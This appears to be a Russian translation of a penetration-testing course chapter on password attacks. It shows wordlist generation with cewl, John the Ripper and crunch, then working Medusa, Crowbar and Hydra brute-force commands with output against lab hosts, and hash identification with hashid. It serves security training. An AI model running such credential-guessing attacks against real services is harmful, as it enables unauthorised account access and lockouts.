Статья PWK-(19) Атака на пароли

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 19. Атака на пароли. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.

Введение

Пароли являются наиболее частой формой аутентификации учетной записи пользователя и службы, и, следовательно, целью атаки на пароль является нахождение и использование учетных данных для получения доступа к учетной записи пользователя или службе.

В общем, существует несколько распространенных подходов к атакам на пароли. Можно либо попытаться угадать пароль с помощью , используя различные словари, либо каждого возможного символа в пароле.

В целом, при атаке по словарю приоритет отдается скорости, предлагая меньшее количество паролей, в то время как при атаке грубой силой приоритет отдается количеству паролей за счет скорости. Обе техники могут быть эффективно использованы во время атаки, в зависимости от наших приоритетов и требований по времени.

В случаях, когда мы получаем (обычно привилегированный) доступ к цели и можем извлечь , можно использовать атаки со , которые направлены на получение доступа к паролю в явном виде, или , которые позволяют аутентифицироваться на Windows-цели, используя только имя пользователя и хэш.

В этой главе более подробно обсудим каждую из этих концепций и техник и продемонстрируем, как их можно использовать в различных сценариях атак.

Словари

Словари, иногда называемые *dictionary files*, представляют собой текстовые файлы, содержащие слова для использования в качестве ввода в программы, предназначенные для проверки паролей. Точность, как правило, более важна, чем охват при атаке по словарю, а это означает, что важнее создать небольшой словарь подходящих паролей, чем огромный, общий словарь. Поэтому многие словари основаны на общей теме, такой как ссылки на популярные культуры, конкретные отрасли промышленности или географические регионы, и переработаны так, чтобы остались лишь часто используемые пароли. Kali Linux содержит ряд этих файлов словарей в каталоге /usr/share/wordlists/, а многие другие можно найти в Интернете.

При проведении атаки на пароли может возникнуть соблазн просто использовать эти предварительно составленные словари. Однако, мы можем быть гораздо более эффективными в нашем подходе, если мы потратим время на тщательное создание собственных словарей. В этом разделе мы рассмотрим инструменты и подходы к созданию эффективных словарей.

Стандартные словари

Мы можем повысить эффективность наших словарей, добавляя слова и фразы, специфичные для нашей целевой организации.

Например, рассмотрим MegaCorp One, компанию, которая занимается нанотехнологиями. На сайте компании перечислены различные продукты, которые продает компания, в том числе Nanobot. При гипотетической атаке нам удалось идентифицировать низкоуровневый пароль Nanobot93. Предположив, что это может быть обычным форматом паролей для данной компании, мы хотели бы создать пользовательский словарь, который будет содержать пароли аналогичные образцу, возможно, с использованием других названий продуктов.

Мы могли бы просматривать сайт и вручную добавлять часто используемые термины и названия продуктов в наш пользовательский словарь, или мы можем использовать такой инструмент, как , чтобы сделать тяжелую работу за нас. Как показано в выводе --help, этот инструмент можно настроить, указав несколько опций, но мы сконцентрируемся на некоторых ключевых аргументах.

Например, следующая команда скачивает сайт , находит слова минимум с шестью символами (-m 6), и записывает (-w) список слов в пользовательский файл (megacorpcewl.txt):

Код:
kali@kali:~$ cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

kali@kali:~$ wc -l megacorp-cewl.txt
312

kali@kali:~$ grep Nano megacorp-cewl.txt
Nanotechnology
Nanomite
Nanoprobe
Nanoprocessors
NanoTimes
Nanobot
Листинг 1 - Создание словаря с помощью cewl

Из приведенного выше списка видно, что cewl обнаружил название нескольких продуктов, в том числе и Nanobot. Следует учесть возможность использования в паролях и других названий продуктов.

Однако эти слова сами по себе будут служить крайне слабыми паролями и не будут соответствовать типичным правилам применения паролей. Как правило, такие правила требуют использования верхнего и нижнего регистра, цифр и, возможно, специальных символов. Основываясь на найденном нами пароле (Nanobot93), можно предположить, что применение пароля для megacorpone требует, по крайней мере, использования двух цифр в пароле, и может в дальнейшем указывать ( хотя и маловероятно) на то, что цифры должны использоваться в конце пароля.

Ради этой простой демонстрации мы предположим, что политика Megacorp One требует, чтобы пароль заканчивался двузначным числом.

Для создания паролей, удовлетворяющих этому требованию, мы могли бы написать Bash скрипт. Однако вместо этого мы будем использовать гораздо более мощный инструмент под названием , который является быстрым взломщиком паролей с несколькими функциями, включая возможность генерировать пользовательские словари и применять правила перестановки.

Двигаясь дальше с нашим предположением о политике паролей, мы добавим правило в файл конфигурации JTR (/etc/john/john.conf), который будет перебирать наш словарь, добавляя две цифры к каждому паролю. Для этого мы должны найти сегмент [List.Rules:Wordlist], в котором определены правила мутации словаря, и добавить новое правило. В этом примере мы добавим двузначную последовательность чисел от (двойного) нуля до девяноста девяти после каждого слова в нашем словаре.

Мы начнем это правило с символа $, который говорит John добавить символ к исходному слову в нашем словаре. Далее укажем тип добавляемого символа, в данном случае мы хотим любое число от нуля до девяти ([0-9]). Наконец, чтобы добавить двойные цифры, мы просто повторим последовательность $[0-9]. Последнее правило показано в Листинге 2.

Код:
kali@kali:~$ sudo nano /etc/john/john.conf
...
# Wordlist mode rules
[List.Rules:Wordlist]
# Try words as they are
:
# Lowercase every pure alphanumeric word
-c >3 !?X l Q
# Capitalize every pure alphanumeric word
-c (?a >2 !?X c Q
# Lowercase and pluralize pure alphabetic words
...
# Try the second half of split passwords
-s x_
-s-c x_ M l Q
# Add two numbers to the end of each password
$[0-9]$[0-9]
...
Листинг 2 - Создание правил изменения в конфигурационном файле John the Ripper

Синтаксис правил для John the Ripper достаточно обширен и функционален, но выходит за рамки данного модуля. Для получения более подробной информации обратитесь к .

Теперь, когда правило добавлено в конфигурационный файл, можно изменить наш словарь, который на данный момент содержит 312 записей.

Для этого вызываем john и указываем файл словаря (--wordlist=megacorp-cewl.txt), активируем правила в конфигурационном файле (--rules), выводим результаты в стандартный вывод (--stdout) и перенаправляем этот вывод в файл mutated.txt:

Код:
kali@kali:~$ john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
Press 'q' or Ctrl-C to abort, almost any other key for status
46446p 0:00:00:00 100.00% (2018-03-01 15:41) 663514p/s chocolate99

kali@kali:~$ grep Nanobot mutated.txt
...
Nanobot90
Nanobot91
Nanobot92
Nanobot93
Nanobot94
Nanobot95
Nanobot96
...
Листинг 3 - Изменение паролей с использованием John the Ripper

Полученный файл содержит более 46000 записей паролей за счет многократных изменений, выполненных на паролях. Одним из паролей является "Nanobot93", который соответствует паролю, найденному ранее при нашей гипотетической атаке. Учитывая предположения о парольной политике MegaCorp One, этот список паролей может дать результат при атаке по словарю.

Несмотря на то, что эта демонстрация чрезмерно упрощена, она служит хорошим примером того, как профилирование паролей может способствовать успеху наших парольных атак в целом.

Словари для брут-форс атаки
В отличие от атаки по словарю, brute force атака вычисляет и проверяет каждую возможную комбинацию символов, которая может составить пароль до тех пор, пока не будет найден правильный. Несмотря на то, что это может показаться простым подходом, гарантирующим результат, он отнимает очень много времени. В зависимости от длины и сложности пароля, а также вычислительной мощности тестирующей системы, может потребоваться очень много времени, даже года, чтобы подобрать сильный пароль.

Мы даже можем объединить эти два понятия и создать brute force словари, файлы словарей, которые содержат все возможные пароли, соответствующие определенному шаблону.

Например, рассмотрим сценарий, который раскрывает очень специфическую политику внедрения паролей, как показано в Листинге 4:

Код:
kali@kali:~$ cat dumped.pass.txt
david: Abc$#123
mike: Jud()666
Judy: Hol&&278
Листинг 4 - Пример дампа паролей

Глядя на пароли, мы замечаем следующую закономерность в их структуре:

Код:
[Capital Letter] [2 x lower case letters] [2 x special chars] [3 x numeric]
Листинг 5 - Структура пароля

Вооружившись этими знаниями, было бы очень полезно создать словарь, содержащий все возможные пароли, соответствующие этому шаблону. , входящий в состав Kali Linux, является мощным генератором словарей, который может справиться с этой задачей.

Во-первых, мы должны описать шаблон, по которому будет работать crunch, и для этого мы будем использовать плейсхолдеры (placeholders), которые представляют определенные типы символов:

PlaceholderCharacter Translation
@Lower case alpha characters
,Upper case alpha characters
%Numeric characters
^Special characters including space
Листинг 6 - Формат обозначения символов

Для создания словаря, соответствующего нашим требованиям, мы укажем минимальную и максимальную длину слова из восьми символов (8 8) и опишем наш шаблон правил с помощью -t ,@@^^%%%:

Код:
kali@kali:~$ crunch 8 8 -t ,@@^^%%%
Crunch will now generate the following amount of data: 172262376000 bytes
164282 MB
160 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 19140264000
Aaa!!000
Aaa!!001
Aaa!!002
Aaa!!003
Aaa!!004
...
Листинг 7 - Создание листа паролей с помощью crunch

Команда работает, как и ожидалось, но, как было отмечено, на выходе получится огромный файл в 160 ГБ! Помните, что brute force техника устанавливает приоритет количеству паролей за счет скорости, и в данном случае, дискового пространства.

Мы также можем определить набор символов с crunch. Например, мы можем создать словарь перебора, учитывающий пароли длиной от четырех до шести символов (4 6), содержащий только символы 0-9 и A-F (0123456789ABCDEF), и запишем вывод в файл (-o crunch.txt):

Код:
kali@kali:~$ crunch 4 6 0123456789ABCDEF -o crunch.txt
Crunch will now generate the following amount of data: 124059648 bytes
118 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 17891328

crunch: 100% completed generating output

kali@kali:~$ head crunch.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
Листинг 8 - Создание паролей со специфичным набором символов с использованием crunch

Обратите внимание, что размер выходного файла значительно меньше, чем в предыдущем примере, в основном из-за меньшей длины пароля, а также ограниченного набора символов. Однако файл словаря впечатляет - более 17 миллионов паролей:

Код:
kali@kali:~$ wc -l crunch.txt
17891328 crunch.txt
Листинг 9 - Подсчет количества сгенерированных паролей

Кроме того, мы можем создавать пароли на основе предопределенных наборов символов, подобных тем, которые определены в файле /usr/share/crunch/charset.lst. Например, мы можем указать путь к файлу набора символов (-f /usr/share/crunch/charset.lst) и выбрать смешанный набор букв mixalpha, который включает все строчные и прописные буквы:

Код:
kali@kali:~$ crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt
Crunch will now generate the following amount of data: 140712049920 bytes
134193 MB
131 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 20158125312
Листинг 10 - Создание списока паролей из букв в верхнем и нижнем регистрах

Несмотря на то, что эта конкретная команда генерирует огромный файл словаря объемом 131 ГБ, она обеспечивает довольно впечатляющее покрытие паролями.

Уделите время изучению JTR и crunch и подумайте, как каждый из них может быть использован наиболее эффективно. Как мы узнаем в следующем разделе, нам необходимо избежать соблазна использовать массивные и общие словари, так как они могут оказать негативное влияние на производственную среду нашего клиента.

Общие техники атак на сетевые сервисы
Теперь, когда мы понимаем, как создавать эффективные словари для различных ситуаций, мы можем обсудить, как их можно использовать для парольных атак на распространенные сетевые сервисы.

Помните, что атаки на сетевые сервисы с использованием паролей являются шумными, а в некоторых случаях и опасными. Многократные неудачные попытки входа обычно генерируют журналы и предупреждения на целевой системе и могут даже блокировать учетные записи после определенного количества неудачных попыток входа. Это может привести к блокировке учетных записей пользователей в производственной системе до тех пор, пока администратор не разблокирует их. Имейте это в виду, прежде чем вслепую запустить сетевую brute force атаку.

После того, как мы взвесили риски и рассмотрели состояние целевой сети, мы можем предпринять несколько шагов для повышения эффективности тестирования паролей.

В зависимости от протокола и инструмента взлома пароля, мы можем увеличить количество потоков для повышения скорости атаки. Тем не менее, в некоторых случаях (например, RDP и SMB), увеличение количества потоков может быть невозможно из-за ограничений протокола, и наша попытка оптимизации вместо этого может замедлить процесс.

Кроме того, стоит отметить, что процесс согласования аутентификации для таких протоколов, как RDP, занимает больше времени, чем, скажем, HTTP. Однако, в то время как атака по протоколу RDP может занять больше времени, чем атака по HTTP, успешная атака по RDP часто принесет большую выгоду. Скрытое искусство, стоящее за атаками на пароли сетевых служб, заключается в тщательном и продуманном подборе соответствующих целей, списков пользователей и файлов паролей перед началом атаки.

Для успешной парольной атаки на сетевую службу (такую как HTTP, SSH, VNC, FTP, SNMP и POP3) мы должны не только сопоставить имя пользователя и пароль цели, но и соблюдать протокол, участвующий в процессе аутентификации.

К счастью, такие популярные инструменты, как THC-Hydra, , Crowbar и spray могут подготавливать эти запросы на аутентификацию для нас.

Далее мы рассмотрим каждый из этих инструментов и взвесим эффективность их управления протоколом и сервисом. Инструменты, упомянутые в следующих статьях, в основном, имеют схожие возможности и скорости. "Правильность" инструмента часто зависит от предпочитаемого синтаксиса и формата вывода. Это можно определить, только поэкспериментировав с каждым из этих инструментов в тестовой среде и изучив сильные и слабые стороны и особенности каждого из них.

HTTP htaccess атака с Medusa

По словам авторов, Medusa задумана как "быстрый, многопоточный, модульный брутфорсер входа в систему".

Мы будем использовать Medusa, чтобы попытаться получить доступ к веб-каталогу, защищенному с помощью htaccess.

Сначала мы укажем нашу цель - веб-сервер Apache, установленный на нашем Windows-клиенте, который мы запустим через панель управления XAMPP. Мы попытаемся получить доступ к защищенной htaccess папке /admin на этом сервере. Нашим словарём для этого примера будет /usr/share/wordlists/rockyou.txt.gz, который мы должны сначала распаковать с помощью gunzip:

Код:
kali@kali:~$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
...
Листинг 11 - Паспаковка словаря rockyou

Далее мы запустим medusa и инициируем атаку на защищенный htaccess URL (-m DIR:/admin) на нашем целевом хосте с -h 10.11.0.22. Мы атакуем пользователя admin (-u admin) паролями из нашего словаря rockyou (-P /usr/share/wordlists/rockyou.txt) и, конечно же, будем использовать схему HTTP-аутентификации (-M):

Код:
kali@kali:~$ medusa -h 10.11.0.22 -u admin -P /usr/share/wordlists/rockyou.txt -M http
-m DIR:/admin

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: 123456 (1 of 14344391 com
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: 12345 (2 of 14344391 comp
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: 123456789 (3 of 14344391
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: password (4 of 14344391 c
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: iloveyou (5 of 14344391 c
...
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: samsung (255 of 14344391
ACCOUNT CHECK: [http] Host: 10.11.0.22 User: admin Password: freedom (256 of 14344391
ACCOUNT FOUND: [http] Host: 10.11.0.22 User: admin Password: freedom [SUCCESS]
...
Листинг 12 - Атака на HTTP htaccess с использованием Medusa

В данном случае Медуза обнаружила рабочий пароль "freedom".

Medusa имеет множество дополнительных опций и настроек, как показано в справке в Листинге 13:

Код:
kali@kali:~$ medusa
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file]
-M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with different parameter each time and they will all be sent to the module -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts wi
  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec)
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to pass the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : Verbose level [0 - 6 (more)]
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan
Листинг 13 - Опции и модули Medusa

Этот инструмент может взаимодействовать с различными сетевыми протоколами, которые могут быть отображены с помощью опции -d, как показано в Листинге 14 ниже.

Код:
kali@kali:~$ medusa -d
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

  Available modules in "." :

  Available modules in "/usr/lib/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.1
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
...
Листинг 14 - Опции и модули Medusa

Атака на Remote Desktop Protocol с помощью Crowbar

Crowbar, формально известный как Levye, является инструментом взлома сетевой аутентификации, главным образом предназначенным для использования SSH ключей, а не паролей. Это также один из немногих инструментов, который может надежно и эффективно выполнять атаки на пароли службы Windows Remote Desktop Protocol (RDP) на современных версиях Windows. Давайте попробуем этот инструмент на нашей клиентской машине Windows.

Для начала установим Crowbar из репозитория Kali:

Код:
kali@kali:~$ sudo apt install crowbar
Reading package lists... Done
Building dependency tree
Reading state information... Done
...
Листинг 15 - Используем apt install для установки crowbar

Для вызова crowbar мы должны указать протокол (-b), целевой сервер (-s), имя пользователя (-u), словарь (-C) и количество потоков (-n) как показано в Листинге 16:

Код:
kali@kali:~$ crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1
2019-08-16 04:51:12 START
2019-08-16 04:51:12 Crowbar v0.3.5-dev
2019-08-16 04:51:12 Trying 10.11.0.22:3389
2019-08-16 04:51:13 RDP-SUCCESS : 10.11.0.22:3389 - admin:Offsec!
2019-08-16 04:51:13 STOP
Листинг 16 - Атака на пароль RDP с использованием Crowbar

Обратите внимание, что Crowbar нашел пароль для учетной записи "admin". Мы указали, что будем использовать один поток, так как RDP плохо обрабатывает много потоков.

Для получения списка поддерживаемых протоколов мы запустим crowbar с флагом --help:

Код:
kali@kali:~$ crowbar --help
usage: Usage: use --help for further information

Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol,
SSH Private Keys and VNC Keys.

positional arguments:
  options

optional arguments:
  -h, --help            show this help message and exit
  -b {vnckey,sshkey,rdp,openvpn}, --brute {vnckey,sshkey,rdp,openvpn}
                        Target service
  -s SERVER, --server SERVER
                        Static target
  -S SERVER_FILE, --serverfile SERVER_FILE
                        Multiple targets stored in a file
  -u USERNAME [USERNAME ...], --username USERNAME [USERNAME ...]
                        Static name to login with
  -U USERNAME_FILE, --usernamefile USERNAME_FILE
                        Multiple names to login with, stored in a file
  -n THREAD, --number THREAD
                        Number of threads to be active at once
  -l FILE, --log FILE Log file (only write attempts)
  -o FILE, --output FILE
                        Output file (write everything else)
  -c PASSWD, --passwd PASSWD
                        Static password to login with
  -C FILE, --passwdfile FILE
                        Multiple passwords to login with, stored in a file
  -t TIMEOUT, --timeout TIMEOUT
                        [SSH] How long to wait for each thread (seconds)
  -p PORT, --port PORT Alter the port if the service is not using the default
                        value
  -k KEY_FILE, --keyfile KEY_FILE
                        [SSH/VNC] (Private) Key file or folder containing
                        multiple files
  -m CONFIG, --config CONFIG
                        [OpenVPN] Configuration file
  -d, --discover        Port scan before attacking open ports
  -v, --verbose         Enable verbose output (-vv for more)
  -D, --debug           Enable debug mode
  -q, --quiet           Only display successful logins
Листинг 17 - Вывод команды help в Crowbar

Атака на SSH с помощью THC-Hydra

THC-Hydra - еще один мощный инструмент атаки на сетевые сервисы, находящийся в стадии активной разработки, и его стоит освоить. Мы можем использовать его для атаки на различные схемы аутентификации протоколов, включая SSH и HTTP.

Стандартные опции включают -l для указания имени целевого пользователя, -P для указания словаря, и protocol://IP для указания целевого протокола и IP-адреса соответственно.

В этом первом примере мы атакуем нашу ВМ Кали. Мы будем использовать протокол SSH на нашей локальной машине ssh://127.0.0.1, укажем пользователя kali (-l kali), и используем словарь rockyou (-P):

Код:
kali@kali:~$ hydra -l kali -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret servic

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-06-07 08:35:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommende
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:143443
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1 login: kali password: whatever
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-07 08:36:13
Листинг 18 - Атака на SSH с использованием Hydra

В Листинге 18 мы видим, что hydra обнаружила действующий пароль для пользователя kali на локальном SSH сервере.

THC-Hydra поддерживает ряд стандартных протоколов и сервисов, как показано в Листинге 19:

Код:
kali@kali:~$ hydra
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret servic

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE]
[-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET
] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
...
Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]
-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc
ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcany
where pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip
smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
...
Листинг 19 - Поддерживаемые модули в THC-Hydra

HTTP POST-атака с помощью THC-Hydra

В качестве дополнительного примера мы выполним HTTP POST-атаку на наш Windows Apache-сервер с помощью Hydra. Когда для входа пользователя в систему используется HTTP POST-запрос, чаще всего это происходит через веб-форму, то есть мы должны использовать сервисный модуль "http-form-post". Для получения дополнительной информации о требуемых аргументах мы можем указать имя сервиса, за которым следует -U:

Код:
kali@kali:~$ hydra http-form-post -U
...
Help for module http-post-form:
============================================================================
Module http-post-form requires the page and the parameters for the web form.

By default this module is configured to follow a maximum of 5 redirections in
a row. It always gathers a new cookie from the same URL without variables
The parameters take three ":" separated values, plus optional values.
(Note: if you need a colon in the option string as value, escape it with "\:", but do

Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables (taken from either the browser, proxy, etc.
 with url-encoded (resp. base64-encoded) usernames and passwords being replaced in the
 "^USER^" (resp. "^USER64^") and "^PASS^" (resp. "^PASS64^") placeholders (FORM PARAME
Third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".
 This is where most people get it wrong. You have to check the webapp what a
 failed string looks like and put it in this parameter!
The following parameters are optional:
 C=/page/uri to define a different page to gather initial cookies from
 (h|H)=My-Hdr\: foo to send a user defined HTTP header with each request
                ^USER[64]^ and ^PASS[64]^ can also be put into these headers!
                Note: 'h' will add the user-defined header at the end
                regardless it's already being sent by Hydra or not.
                'H' will replace the value of that header if it exists, by the
                one supplied by the user, or add the header at the end
Note that if you are going to put colons (:) in your headers you should escape them wi
 All colons that are not option separators should be escaped (see the examples above a
 You can specify a header without escaping the colons, but that way you will not be ab
 in the header value itself, as they will be interpreted by hydra as option separators
 ...
Листинг 20 - Дополнительная информация о модуле http-form-post

Из этого мы видим, что нам нужно предоставить ряд аргументов, которые потребуют от нас собрать информацию о приложении. Во-первых, нам нужен IP адрес и URL веб-страницы, содержащей веб-форму на нашем клиенте Windows. IP адрес будет предоставлен в качестве первого аргумента Hydra.

Далее, мы должны понять какую веб-форму мы будем брут-форсить, проверив HTML код соответствующей веб-страницы (расположенной по адресу /form/login.html).

На рисунке 1 показан код целевой веб-формы после щелчка правой кнопкой мыши по странице и выбора View Page Source из контекстного меню:

http_post_attack_with_thc-hydra_figure_294.png

Рисунок 1: Исмходный код веб формы

Вышеуказанная форма, часть страницы /form/login.html, указывает, что POST-запрос обрабатывается с помощью /form/frontpage.php, который является URL, который мы передадим Hydra. Синтаксис, отображаемый в Listing 20, требует параметров формы, которые в данном случае являются *user* и *pass*. Так как мы атакуем учетную запись пользователя admin с помощью словаря, комбинированный аргумент для Hydra будет /form/frontpage.php:user=admin&pass=^PASS^, с ^PASS^, выступающим в качестве места (переменной/placeholder) для записей из нашего словаря.

Мы также должны предоставить condition string, чтобы указать, когда попытка входа будет неудачной. Это можно узнать, предприняв несколько попыток входа в систему вручную. В нашем примере веб-страница возвращает текст "INVALID LOGIN", как показано на Рисунке 2:

http_post_attack_with_thc-hydra_figure_295.png

Рисунок 2: Ответ на попытку входа с неверными усетными данными

Собрав эти части вместе, мы создадим строку аргументов http-form-post, как указано в Листинге 21.

Код:
http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN"
Листинг 21 - Указание аргументов http-form-post

Теперь можно выполнить всю команду. Мы укажем имя пользователя admin (-l admin) и словарь (-P), запросим подробный вывод с помощью -vV, и используем -f для остановки атаки, когда будет найден первый успешный результат. Кроме того, мы предоставим имя сервисного модуля (http-form-post) и его аргументы ("/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN"), как показано в Листинге 22:

Код:
kali@kali:~$ hydra 10.11.0.22 http-form-post "/form/frontpage.php:user=admin&pass=^PAS
S^:INVALID LOGIN" -l admin -P /usr/share/wordlists/rockyou.txt -vV -f
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret servic

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-06-07 15:55:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:143443
[DATA] attacking http-post-form://10.11.0.22/form/frontpage.php:user=admin&pass=^PASS^
:INVALID LOGIN
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "123456" - 1 of 14344399 [child 0]
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "12345" - 2 of 14344399 [child 1] (
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "123456789" - 3 of 14344399 [child
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "password" - 4 of 14344399 [child 3
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "princess" - 6 of 14344399 [child 5
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "1234567" - 7 of 14344399 [child 6]
.....
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "karina" - 268 of 14344399 [child 1
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "dookie" - 269 of 14344399 [child 1
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "hotmail" - 270 of 14344399 [child
[ATTEMPT] target 10.11.0.22 - login "admin" - pass "0123456789" - 271 of 14344399 [chi
[80][http-post-form] host: 10.11.0.22 login: admin password: crystal
[STATUS] attack finished for 10.11.0.22 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-06-07 15:55:29
Листинг 22 - Атака на веб форму с помощью THC-Hydra

Несмотря на то, что это потребовало некоторого исследования приложения, результат стоит того, так как был обнаружен действующий пароль. Остальные сервисные модули, входящие в комплект поставки Hydra, также достойны внимания.

Использование хэшей паролей

Далее мы перейдем к атакам, ориентированным на использование хэшей паролей.

Криптографическая является односторонней функцией, реализующей алгоритм, который при задании произвольного блока данных возвращает строку фиксированного размера, называемую “hash value” или “message digest”. Одним из наиболее важных применений криптографических хэш-функций является их применение при проверке пароля.

Получение хешей паролей

Большинство систем, использующих механизм проверки подлинности паролей, должны хранить эти пароли локально на машине. Вместо того, чтобы хранить пароли в чистом виде, современные механизмы аутентификации обычно хранят их в виде хэшей для повышения безопасности. Это справедливо для операционных систем, сетевого оборудования и многого другого. Это означает, что в процессе аутентификации пароль, представляемый пользователем, хэшируется и сравнивается с ранее сохраненным message digest.

Определение точного типа хэша без дополнительной информации о программе или механизме, который его создал, может быть очень сложным, а иногда даже невозможным. может помочь определить источник различных хэшей паролей. При попытке определить тип дайджеста сообщений, необходимо учитывать три важных свойства хэша - это длина хэша, набор символов, используемых в хэше, и любые специальные символы, используемые в хэше.

Полезным инструментом, который может помочь в идентификации типа хэша, является . Для его использования мы просто запускаем программу и вставляем хэш, который хотим идентифицировать:

Код:
kali@kali:~$ hashid c43ee559d69bc7f691fe2fbfe8a5ef0a
Analyzing 'c43ee559d69bc7f691fe2fbfe8a5ef0a'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

kali@kali:~$ hashid '$6$l5bL6XIASslBwwUD$bCxeTlbhTH76wE.bI66aMYSeDXKQ8s7JNFwa1s1KkTand
6ZsqQKAF3G0tHD9bd59e5NAz/s7DQcAojRTWNpZX0'
Analyzing '$6$l5bL6XIASslBwwUD$bCxeTlbhTH76wE.bI66aMYSeDXKQ8s7JNFwa1s1KkTand6ZsqQKAF3G
0tHD9bd59e5NAz/s7DQcAojRTWNpZX0'
[+] SHA-512 Crypt
Листинг 23 - Использование hashid для идентификации возможных форматов hash

В приведенном выше листинге мы проанализировали два разных хэша. В то время как первый пример возвращал несколько возможных совпадений, второй сужал тип хэша до SHA-512 Crypt.

